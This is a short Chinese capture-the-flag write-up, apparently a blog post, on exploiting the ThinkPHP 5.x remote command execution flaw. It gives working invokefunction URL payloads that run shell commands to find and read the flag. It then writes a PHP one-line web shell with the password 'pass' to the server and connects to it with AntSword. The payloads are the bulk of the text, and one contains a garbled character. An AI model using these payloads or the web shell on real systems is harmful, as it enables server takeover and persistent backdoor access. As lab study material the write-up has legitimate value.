涉及到知识盲点了,感恩百度&前辈大佬们
打开环境,发现ThinkPHP V5框架,百度看到有命令执行漏洞
ThinkPHP 5.x远程命令执行漏洞分析与复现 - 渗透测试中心 - 博客园
看不懂但是照猫画虎,参考文章利用方法,构建url寻找flag文件
大小写敏感,是linux系统,
构造find -name "flag"命令:
111.200.241.244:61290/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find -name "flag"
构造cat /flag命令,可查看到flag:
111.200.241.244:61290/index.php?s=index/think\app/invokefunction¥function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
当然拿到 flag 怎么足够呢?
我们接下来当然是要拿到 shell 权限
二话不说接着改代码
原博主的代码:
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_arr
ay&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>
改为
Php 一句话木马,密码 pass 写入到当前目录下的 test3389.php
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_arr
ay&vars[0]=file_put_contents&vars[1][]=test3389.php&vars[1][]=<?php
@eval($_POST['pass']);?>
返回 29 执行成功
然后我们执行我们的 php 木马
http://localhost:9096/test3389.php
空页面执行成功
然后上蚂蚁的剑一样可以看到